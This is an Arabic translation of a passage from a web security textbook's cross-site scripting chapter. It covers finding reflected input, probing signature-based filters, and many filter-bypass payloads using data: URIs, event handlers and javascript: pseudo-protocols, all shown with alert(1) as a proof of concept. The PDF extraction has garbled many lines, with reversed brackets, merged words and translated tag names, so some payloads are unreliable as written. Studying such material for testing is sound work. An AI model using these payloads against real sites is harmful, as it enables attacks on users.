‫ﺑﺎﻟﻨﺴﺒﺔﻟﻠﻬﺠﻮﻡ ﺍﻟﺬﻱ ﻳﻌﻤﻞ ﺿﺪ ﺟﻤﻴﻊ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﺤﺎﻟﻴﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺍﺳﻢ ﺻﻮﺭﺓ ﻏﻴﺮ‬
‫ﺻﺎﻟﺢﻣﻊﻋﻨﺪ ﺍﻟﻨﻘﺮﻣﻌﺎﻟﺞ ﺍﻟﺤﺪﺙ‪:‬‬

‫(‪# ”onclick=”javascript:alert)1‬‬

‫ﻧﺼﻴﺤﺔﻛﻤﺎ ﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻷﺧﺮﻯ‪ ،‬ﺗﺄﻛﺪ ﻣﻦ ﺗﺮﻣﻴﺰ ﻋﻨﻮﺍﻥ ‪ URL‬ﻷﻱ ﺃﺣﺮﻑ ﺧﺎﺻﺔ ﻟﻬﺎ‬
‫ﺃﻫﻤﻴﺔﺩﺍﺧﻞ ﺍﻟﻄﻠﺐ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ & = ‪ ; +‬ﻭﺍﻟﻤﺴﺎﻓﺔ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫ﻗﻢﺑﻤﺎ ﻳﻠﻲ ﻟﻜﻞ ﻣﺪﺧﻞ ﻣﻨﻌﻜﺲ ﺗﻢ ﺗﺤﺪﻳﺪﻩ ﻓﻲ ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﺴﺎﺑﻘﺔ‪:‬‬


‫‪.1‬ﺭﺍﺟﻊ ﻣﺼﺪﺭ ‪ HTML‬ﻟﺘﺤﺪﻳﺪ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﺘﻲ ﻳﻨﻌﻜﺲ ﻓﻴﻬﺎ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻔﺮﻳﺪﺓ ﺍﻟﺨﺎﺻﺔ ﺑﻚ‪.‬‬

‫‪.2‬ﺇﺫﺍ ﻇﻬﺮﺕ ﺍﻟﺴﻠﺴﻠﺔ ﺃﻛﺜﺮ ﻣﻦ ﻣﺮﺓ‪ ،‬ﻓﻴﺠﺐ ﺍﻟﺘﻌﺎﻣﻞ ﻣﻊ ﻛﻞ ﻇﻬﻮﺭ ﻋﻠﻰ ﺃﻧﻪ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻣﺤﺘﻤﻠﺔ‬
‫ﻣﻨﻔﺼﻠﺔﻭﺍﻟﺘﺤﻘﻴﻖ ﻓﻴﻬﺎ ﺑﺸﻜﻞ ﻓﺮﺩﻱ‪.‬‬
‫‪.٣‬ﺣﺪﺩ‪ ،‬ﻣﻦ ﻣﻮﻗﻊ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ ﺩﺍﺧﻞ ﻣﻠﻒ ‪،HTML‬‬
‫ﻛﻴﻔﻴﺔﺗﻌﺪﻳﻠﻬﺎ ﻟﺘﺸﻐﻴﻞ ﺃﻱ ﻧﺺ ﺑﺮﻣﺠﻲ‪ .‬ﻋﺎﺩﺓ‪ ً،‬ﺗﻌُﺪ ّﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻣﺮﻛﺒﺎﺕ‬
‫ﻣﺤﺘﻤﻠﺔﻟﻠﻬﺠﻮﻡ‪ ،‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻻﺣﻘﺎً ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ‪.‬‬

‫‪.٤‬ﺍﺧﺘﺒﺮ ﺛﻐﺮﺗﻚ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺑﺈﺭﺳﺎﻟﻬﺎ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﺇﺫﺍ ﻛﺎﻧﺖ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺘﻲ ﺃﻧﺸﺄﺗﻬﺎ ﻻ‬
‫ﺗﺰﺍﻝﺗﻌُﺎﺩ ﺩﻭﻥ ﺗﻌﺪﻳﻞ‪ ،‬ﻓﺎﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ ﻟﻠﺨﻄﺮ‪ .‬ﺗﺄﻛﺪ ﺟﻴﺪﺍً ﻣﻦ ﺻﺤﺔ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ ﺑﺎﺳﺘﺨﺪﺍﻡ‬
‫ﻧﺺﺑﺮﻣﺠﻲ ﻹﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ ﻟﻌﺮﺽ ﻣﺮﺑﻊ ﺣﻮﺍﺭ ﺗﻨﺒﻴﻪ‪ ،‬ﻭﺗﺄﻛﺪ ﻣﻦ ﻇﻬﻮﺭﻩ ﻓﻌﻠﻴﺎً ﻓﻲ ﻣﺘﺼﻔﺤﻚ‬
‫ﻋﻨﺪﻋﺮﺽ ﺍﻻﺳﺘﺠﺎﺑﺔ‪.‬‬

‫ﺍﺳﺘﻜﺸﺎﻑﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺪﻓﺎﻋﻴﺔ‬

‫ﻓﻲﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ‪ ،‬ﺳﺘﻜﺘﺸﻒ ﺃﻥ ﺍﻟﺨﺎﺩﻡ ﻳﻌﺪﻝ ﻣﺤﺎﻭﻻﺕ ﺍﻻﺳﺘﻐﻼﻝ ﺍﻷﻭﻟﻴﺔ ﺍﻟﺨﺎﺻﺔ ﺑﻚ ﺑﻄﺮﻳﻘﺔ‬
‫ﻣﺎ‪،‬ﺑﺤﻴﺚ ﻻ ﻳﻨﺠﺢ ﻓﻲ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺬﻱ ﻗﻤﺖ ﺑﺤﻘﻨﻪ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪456‬‬

‫ﺇﺫﺍﺣﺪﺙ ﻫﺬﺍ‪ ،‬ﻓﻼ ﺗﻴﺄﺱ! ﻣﻬﻤﺘﻚ ﺍﻟﺘﺎﻟﻴﺔ ﻫﻲ ﺗﺤﺪﻳﺪ ﻋﻤﻠﻴﺔ ﺍﻟﻤﻌﺎﻟﺠﺔ ﻋﻠﻰ ﺟﺎﻧﺐ ﺍﻟﺨﺎﺩﻡ ﺍﻟﺘﻲ ﺗﺆﺛﺮ‬
‫ﻋﻠﻰﻣﺪﺧﻼﺗﻚ‪ .‬ﻫﻨﺎﻙ ﺛﻼﺛﺔ ﺍﺣﺘﻤﺎﻻﺕ ﺭﺉﻴﺴﻴﺔ‪:‬‬

‫ﻟﻘﺪﺣﺪﺩ ﺍﻟﺘﻄﺒﻴﻖ )ﺃﻭ ﺟﺪﺍﺭ ﺣﻤﺎﻳﺔ ﺗﻄﺒﻴﻖ ﺍﻟﻮﻳﺐ ﺍﻟﺬﻱ ﻳﺤﻤﻲ ﺍﻟﺘﻄﺒﻴﻖ( ﺗﻮﻗﻴﻊ ﻫﺠﻮﻡ ﻭﻗﺎﻡ‬ ‫‪-‬‬

‫ﺑﺤﻈﺮﺇﺩﺧﺎﻟﻚ‪.‬‬
‫ﻟﻘﺪﻗﺒﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺪﺧﻼﺗﻚ ﻭﻟﻜﻨﻪ ﺃﺟﺮﻯ ﺑﻌﺾ ﺃﻧﻮﺍﻉ ﺍﻟﺘﻄﻬﻴﺮ ﺃﻭ ﺍﻟﺘﺮﻣﻴﺰ ﻋﻠﻰ ﺳﻠﺴﻠﺔ‬ ‫‪-‬‬

‫ﺍﻟﻬﺠﻮﻡ‪.‬‬
‫ﻟﻘﺪﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻘﻠﻴﺺ ﺳﻠﺴﻠﺔ ﻫﺠﻮﻣﻚ ﺇﻟﻰ ﻃﻮﻝ ﺃﻗﺼﻰ ﺛﺎﺑﺖ‪.‬‬ ‫‪-‬‬

‫ﺳﻨﻨﻈﺮﺇﻟﻰ ﻛﻞ ﺳﻴﻨﺎﺭﻳﻮ ﻋﻠﻰ ﺣﺪﺓ ﻭﻧﻨﺎﻗﺶ ﺍﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻣﻦ ﺧﻼﻟﻬﺎ ﺗﺠﺎﻭﺯ‬
‫ﺍﻟﻌﻮﺍﺉﻖﺍﻟﺘﻲ ﻳﻔﺮﺿﻬﺎ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬

‫ﺍﻟﺘﻐﻠﺐﻋﻠﻰ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ‬

‫ﻓﻲﺍﻟﻨﻮﻉ ﺍﻷﻭﻝ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ‪ ،‬ﻳﺴﺘﺠﻴﺐ ﺍﻟﺘﻄﺒﻴﻖ ﻋﺎﺩﺓ ًﻟﺴﻠﺴﻠﺔ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺨﺎﺻﺔ ﺑﻚ ﺑـ‬

‫ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﻧﻪ ﻡ‬


‫ﻣﺤﺘﻤﻞ‪XSS‬‬

‫ﺍﻟﺸﻜﻞ‪:8-12‬ﺭﺳﺎﻟﺔ ﺧﻄﺄ ﺗﻢ ﺇﻧﺸﺎﺅﻫﺎ ﺑﻮﺍﺳﻄﺔ ﻣﺮﺷﺤﺎﺕ ‪ ASP.NET‬ﺍﻟﻤﻀﺎﺩﺓ ﻟـ ‪XSS‬‬

‫ﺇﺫﺍﺣﺪﺙ ﻫﺬﺍ‪ ،‬ﻓﺎﻟﺨﻄﻮﺓ ﺍﻟﺘﺎﻟﻴﺔ ﻫﻲ ﺗﺤﺪﻳﺪ ﺍﻷﺣﺮﻑ ﺃﻭ ﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﻓﻲ ﻣﺪُﺧﻼﺗﻚ ﺍﻟﺘﻲ ﺗﻔُﻌﻞّ‬
‫ﺍﻟﻤﺮُﺷﺢِّ‪.‬ﺇﺣﺪﻯ ﺍﻟﻄﺮﻕ ﺍﻟﻔﻌﺎّﻟﺔ ﻫﻲ ﺇﺯﺍﻟﺔ ﺃﺟﺰﺍء ﻣﺨُﺘﻠﻔﺔ ﻣﻦ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﺑﺎﻟﺘﺮﺗﻴﺐ‪ ،‬ﻭﻣﻌﺮﻓﺔ ﻣﺎ‬
‫ﺇﺫﺍﻛﺎﻥ ﺍﻟﻤﺪُﺧﻞ ﻻ ﻳﺰﺍﻝ ﻣﺤُﻈﻮﺭﺍً‪ .‬ﻋﺎﺩﺓ‪ ً،‬ﺗﺆُﻛﺪّ ﻫﺬﻩ ﺍﻟﻌﻤﻠﻴﺔ ﺑﺴﺮﻋﺔ ﺃﻥ ﺗﻌﺒﻴﺮﺍً ﻣﺤُﺪﺩﺍً ﻣﺜﻞ >ﻧﺺ<‬
‫ﻳﺆﺩﻱﻫﺬﺍ ﺇﻟﻰ ﺣﻈﺮ ﺍﻟﻄﻠﺐ‪ .‬ﻋﻠﻴﻚ ﺑﻌﺪ ﺫﻟﻚ ﺍﺧﺘﺒﺎﺭ ﺍﻟﻔﻠﺘﺮ ﻟﻠﺘﺄﻛﺪ ﻣﻦ ﻭﺟﻮﺩ ﺃﻱ ﺗﺠﺎﻭﺯﺍﺕ‪.‬‬

‫ﻫﻨﺎﻙﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻹﺩﺧﺎﻝ ﺃﻛﻮﺍﺩ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﻓﻲ ﺻﻔﺤﺎﺕ ‪ ،HTML‬ﺑﺤﻴﺚ‬


‫ﻳﻤﻜﻦﻋﺎﺩﺓ ًﺗﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻟﺘﻮﻗﻴﻊ‪ .‬ﻳﻤﻜﻨﻚ ﺇﻳﺠﺎﺩ ﺑﺪﻳﻞ‪.‬‬
‫‪457‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻳﻤﻜﻨﻚﺍﺳﺘﺨﺪﺍﻡ ﻃﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺸﻐﻴﻞ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ‪ ،‬ﺃﻭ ﺍﺳﺘﺨﺪﺍﻡ ﺑﻨﺎء ﺟﻤﻠﺔ ﻣﺸﻮﻩ ﻗﻠﻴﻼ‪ً،‬‬
‫ﻭﻫﻮﻣﺎ ﺗﺘﻘﺒﻠﻪ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ‪ .‬ﻳﺘﻨﺎﻭﻝ ﻫﺬﺍ ﺍﻟﻘﺴﻢ ﺍﻟﻄﺮﻕ ﺍﻟﻌﺪﻳﺪﺓ ﻭﺍﻟﻤﺨﺘﻠﻔﺔ ﻟﺘﺸﻐﻴﻞ ﺍﻟﻨﺼﻮﺹ‬
‫ﺍﻟﺒﺮﻣﺠﻴﺔ‪،‬ﺛﻢ ﻳﺼﻒ ﻣﺠﻤﻮﻋﺔ ﻭﺍﺳﻌﺔ ﻣﻦ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻟﺘﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ‬
‫ﺍﻟﺸﺎﺉﻌﺔ‪.‬‬

‫ﻃﺮﻕﺗﻘﺪﻳﻢ ﺍﻟﻜﻮﺩ ﺍﻟﻨﺼﻲ‬


‫ﻳﻤﻜﻨﻚﺇﺩﺧﺎﻝ ﺷﻴﻔﺮﺓ ﻧﺼﻴﺔ ﺇﻟﻰ ﺻﻔﺤﺔ ‪ HTML‬ﺑﺄﺭﺑﻊ ﻃﺮﻕ ﺭﺉﻴﺴﻴﺔ‪ .‬ﺳﻨﺘﻨﺎﻭﻟﻬﺎ ﺗﺒﺎﻋﺎً‪ ،‬ﻭﻧﻘﺪﻡ ﺃﻣﺜﻠﺔ‬
‫ﻓﺮﻳﺪﺓﻟﻜﻞ ﻣﻨﻬﺎ ﻗﺪ ﺗﻨﺠﺢ ﻓﻲ ﺗﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ‪.‬‬

‫ﻣﻠﺤﻮﻇﺔﻳﺨﺘﻠﻒ ﺩﻋﻢ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻟﻘﻮﺍﻋﺪ ‪ HTML‬ﻭﻗﻮﺍﻋﺪ ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﺍﺧﺘﻼﻓﺎً ﻛﺒﻴﺮﺍً‪ .‬ﻏﺎﻟﺒﺎً ﻣﺎ‬
‫ﻳﺘﻐﻴﺮﺳﻠﻮﻙ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﻔﺮﺩﻳﺔ ﻣﻊ ﻛﻞ ﺇﺻﺪﺍﺭ ﺟﺪﻳﺪ‪ .‬ﻟﺬﻟﻚ‪ ،‬ﺃﻱ ﺩﻟﻴﻞ "ﻧﻬﺎﺉﻲ" ﻟﺴﻠﻮﻙ‬
‫ﺍﻟﻤﺘﺼﻔﺤﺎﺕﺍﻟﻔﺮﺩﻳﺔ ﻗﺪ ﻳﺼﺒﺢ ﻗﺪﻳﻤﺎً ﺑﺴﺮﻋﺔ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻣﻦ ﻣﻨﻈﻮﺭ ﺃﻣﻨﻲ‪ ،‬ﻳﺠﺐ ﺃﻥ ﺗﻌﻤﻞ‬
‫ﺍﻟﺘﻄﺒﻴﻘﺎﺕﺑﻜﻔﺎءﺓ ﻋﺎﻟﻴﺔ ﻣﻊ ﺟﻤﻴﻊ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻭﺍﻟﺤﺪﻳﺜﺔ ﻣﻦ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﺸﺎﺉﻌﺔ‪ .‬ﺇﺫﺍ ﻛﺎﻥ‬
‫ﻣﻦﺍﻟﻤﻤﻜﻦ ﺷﻦ ﻫﺠﻮﻡ ‪ XSS‬ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﺘﺼﻔﺢ ﻭﺍﺣﺪ ﻣﺤﺪﺩ ﻓﻘﻂ ﻳﺴﺘﺨﺪﻣﻪ ﻋﺪﺩ ﻗﻠﻴﻞ ﻣﻦ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪،‬ﻓﺈﻥ ﻫﺬﺍ ﻻ ﻳﺰﺍﻝ ﻳﻤﺜﻞ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻳﺠﺐ ﺇﺻﻼﺣﻬﺎ‪ .‬ﺟﻤﻴﻊ ﺍﻷﻣﺜﻠﺔ ﺍﻟﻮﺍﺭﺩﺓ ﻓﻲ ﻫﺬﺍ‬
‫ﺍﻟﻔﺼﻞﺗﻌﻤﻞ ﻋﻠﻰ ﻣﺘﺼﻔﺢ ﺭﺉﻴﺴﻲ ﻭﺍﺣﺪ ﻋﻠﻰ ﺍﻷﻗﻞ ﻭﻗﺖ ﻛﺘﺎﺑﺔ ﻫﺬﺍ ﺍﻟﺘﻘﺮﻳﺮ‪.‬‬

‫ﻷﻏﺮﺍﺽﻣﺮﺟﻌﻴﺔ‪ ،‬ﺗﻢ ﻛﺘﺎﺑﺔ ﻫﺬﺍ ﺍﻟﻔﺼﻞ ﻓﻲ ﻣﺎﺭﺱ‪/‬ﺁﺫﺍﺭ ‪ ،2011‬ﻭﻭﺻﻔﺖ ﺍﻟﻬﺠﻤﺎﺕ ﺟﻤﻴﻊ‬


‫ﺍﻷﻋﻤﺎﻝﻋﻠﻰ ﺍﻷﻗﻞ ﻓﻲ ﻭﺍﺣﺪ ﻣﻦ ﺍﻟﻤﺠﺎﻻﺕ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬

‫ﺇﺻﺪﺍﺭ‪Internet Explorer 8.0.7600.16385‬‬ ‫‪-‬‬


‫ﻓﺎﻳﺮﻓﻮﻛﺲﺍﻹﺻﺪﺍﺭ ‪3.6.15‬‬ ‫‪-‬‬

‫ﻋﻼﻣﺎﺕﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ‬

‫ﻣﺎﻭﺭﺍء ﺍﻻﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﺒﺎﺷﺮ ﻟـ >ﻧﺺ<ﺍﻟﻌﻼﻣﺔ‪ ،‬ﻫﻨﺎﻙ ﻃﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻳﻤﻜﻨﻚ ﻣﻦ ﺧﻼﻟﻬﺎ ﺍﺳﺘﺨﺪﺍﻡ ﺑﻨﺎء‬
‫ﺟﻤﻠﺔﻣﻌﻘﺪ ﺇﻟﻰ ﺣﺪ ﻣﺎ ﻟﺘﻐﻠﻴﻒ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﻼﻣﺔ‪ ،‬ﻣﻤﺎ ﻳﺆﺩﻱ ﺇﻟﻰ ﺇﺣﺒﺎﻁ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ‪:‬‬

‫<”<‪>object data=”data:text/html,>script<alert)1(>/script‬‬
‫<‪>/a‬ﺍﻧﻘﺮ ﻫﻨﺎ <”==‪>a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg‬‬
‫<”==‪>object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg‬‬

‫ﺍﻟﺴﻠﺴﻠﺔﺍﻟﻤﺸﻔﺮﺓ ﺑﺘﻨﺴﻴﻖ ‪ Base64‬ﻓﻲ ﺍﻷﻣﺜﻠﺔ ﺍﻟﺴﺎﺑﻘﺔ ﻫﻲ‪:‬‬

‫<‪>/script‬ﺗﻨﺒﻴﻪ)‪>script<(1‬‬

‫ﻣﻌﺎﻟﺠﺎﺕﺍﻷﺣﺪﺍﺙ‬
‫ﻳﻤﻜﻦﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ﻣﻊ ﻭﺳﻮﻡ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺸﻐﻴﻞ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ‪ .‬ﻓﻴﻤﺎ‬
‫ﻳﻠﻲﺑﻌﺾ ﺍﻷﻣﺜﻠﺔ ﻏﻴﺮ ﺍﻟﻤﻌﺮﻭﻓﺔ ﺍﻟﺘﻲ ﺗﻨُﻔﺬّ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺩﻭﻥ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﺃﻱ ﺗﻔﺎﻋﻞ ﻣﻦ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻡ‪:‬‬
‫<(‪>iframe onreadystatechange=alert)1‬‬
‫<(‪>style onreadystatechange=alert)1‬‬
‫<(‪>xml onreadystatechange=alert)1‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪458‬‬

‫<(‪>object onerror=alert)1‬‬
‫<(‪type=image src=valid.gif onreadystatechange=alert)1(< >script onreadystatechange=alert)1‬‬
‫‪>input type=image src=valid.gif onreadystatechange=alert)1(< >isindex‬‬
‫<(‪/object< >img type=image src=valid.gif onreadystatechange=alert)1‬‬
‫><(‪>object type=image src=valid.gif onreadystatechange=alert)1‬‬

‫<(‪>body onactivate=alert)1‬‬
‫<(‪>body onbeforeactivate=alert)1‬‬
‫<(‪>bgsound onpropertychange=alert)1‬‬
‫<(‪>body onfocusin=alert)1‬‬

‫ﻳﻮﻓﺮ‪ HTML5‬ﻣﺠﻤﻮﻋﺔ ﻛﺒﻴﺮﺓ ﻣﻦ ﺍﻟﻤﺘﺠﻬﺎﺕ ﺍﻟﺠﺪﻳﺪﺓ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ‪ .‬ﻭﻳﺸﻤﻞ‬


‫ﺫﻟﻚﺍﺳﺘﺨﺪﺍﻡﺍﻟﺘﺮﻛﻴﺰ ﺍﻟﺘﻠﻘﺎﺉﻲﺍﻟﺴﻤﺔ ﻟﺘﺸﻐﻴﻞ ﺍﻷﺣﺪﺍﺙ ﺍﻟﺘﻲ ﻛﺎﻧﺖ ﺗﺘﻄﻠﺐ ﺗﻔﺎﻋﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﺗﻠﻘﺎﺉﻴﺎً‪:‬‬

‫>ﺇﺩﺧﺎﻝ ﺍﻟﺘﺮﻛﻴﺰ ﺍﻟﺘﻠﻘﺎﺉﻲ ﻋﻨﺪ ﺍﻟﺘﺮﻛﻴﺰ=ﺗﻨﺒﻴﻪ)‪<(1‬‬


‫<‪autofocus< >body onscroll=alert)1(<>br<>br<...>br<>input autofocus‬‬
‫‪>input onblur=alert)1( autofocus<>input‬‬

‫ﻳﺴﻤﺢﺑﻤﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ﻓﻲ ﻋﻼﻣﺎﺕ ﺍﻹﻏﻼﻕ‪:‬‬

‫<(‪>/a onmousemove=alert)1‬‬

‫ﺃﺧﻴﺮﺍً‪،‬ﻳﻘﺪﻡ ‪ HTML5‬ﻋﻼﻣﺎﺕ ﺟﺪﻳﺪﺓ ﻣﻊ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ‪:‬‬

‫>ﻣﺼﺪﺭ ﺍﻟﻔﻴﺪﻳﻮ=‪=onerror 1‬ﺗﻨﺒﻴﻪ)‪> <(1‬ﻣﺼﺪﺭ‬


‫ﺍﻟﺼﻮﺕ=‪=onerror 1‬ﺗﻨﺒﻴﻪ)‪<(1‬‬

‫ﺑﺮﻭﺗﻮﻛﻮﻻﺕﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﺍﻟﺰﺍﺉﻔﺔ‬

‫ﻳﻤﻜﻦﺍﺳﺘﺨﺪﺍﻡ ﺑﺮﻭﺗﻮﻛﻮﻻﺕ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺰﺍﺉﻔﺔ ﻓﻲ ﻣﻮﺍﻗﻊ ﻣﺨﺘﻠﻔﺔ ﻟﺘﻨﻔﻴﺬ ﻧﺼﻮﺹ‬


‫ﺑﺮﻣﺠﻴﺔﻣﻀﻤﻨﺔ ﺿﻤﻦ ﺳﻤﺔ ﺗﺘﻮﻗﻊ ﻋﻨﻮﺍﻥ ‪ .URL‬ﺇﻟﻴﻚ ﺑﻌﺾ ﺍﻷﻣﺜﻠﺔ‪:‬‬

‫<(‪>embed src=javascript:alert)1‬‬
‫<(‪>iframe src=javascript:alert)1‬‬
‫<(‪>object data=javascript:alert)1‬‬

‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖﻳﺘﻢ ﺗﻘﺪﻳﻢ ﺍﻟﺒﺮﻭﺗﻮﻛﻮﻝ ﺍﻟﺰﺍﺉﻒ ﻋﺎﺩﺓ ًﻛﻤﺜﺎﻝ ﻟﻬﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ‪،‬‬
‫ﻭﻳﻤﻜﻨﻚﺃﻳﻀﺎً ﺍﺳﺘﺨﺪﺍﻡﻓﺒﺲﺍﻟﺒﺮﻭﺗﻮﻛﻮﻝ ﺍﻟﻤﻮﺟﻮﺩ ﻋﻠﻰ ﻣﺘﺼﻔﺤﺎﺕ ‪ ،Internet Explorer‬ﻛﻤﺎ ﻫﻮ‬
‫ﻣﻮﺿﺢﻻﺣﻘﺎً ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ‪.‬‬
‫ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ‪ ،‬ﻳﻮﻓﺮ ‪ HTML5‬ﺑﻌﺾ ﺍﻟﻄﺮﻕ ﺍﻟﺠﺪﻳﺪﺓ ﻻﺳﺘﺨﺪﺍﻡ ﺑﺮﻭﺗﻮﻛﻮﻻﺕ ﺍﻟﺒﺮﺍﻣﺞ‬
‫ﺍﻟﻨﺼﻴﺔﺍﻟﺰﺍﺉﻔﺔ ﻓﻲ ﻫﺠﻤﺎﺕ ‪:XSS‬‬

‫<(‪<>button form=test formaction=javascript:alert)1(< >event-source src=javascript:alert)1‬‬


‫‪>form id=test /‬‬

